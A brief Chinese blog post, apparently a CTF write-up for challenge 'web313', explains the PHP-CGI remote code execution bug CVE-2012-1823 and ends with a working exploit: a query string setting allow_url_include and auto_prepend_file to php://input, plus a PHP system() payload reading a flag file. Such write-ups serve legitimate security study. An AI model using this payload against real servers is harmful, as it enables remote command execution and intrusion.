web313( CVE-2012-1823-PHP-CGI远程代码执行漏洞)

影响版本 php < 5.3.12 or php < 5.4.2
形成原因
用户请求的querystring被作为了php-cgi的参数。
访问http://your-ip:8080/index.php?-s即爆出源码,说明漏洞存在。

漏洞利用
cgi模式下有如下一些参数可用:

-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
有了这些参数,其中更是有配置项参数,也就是说我们可以配置 auto_prepend_file 来制造任意文件包含漏洞。

漏洞分析:https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html
/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

<?php echo system("cat /somewhere/fla9.txt"); ?>

 

 

posted @ 2025-04-28 16:33  justdoIT*  阅读(232)  评论(0)    收藏  举报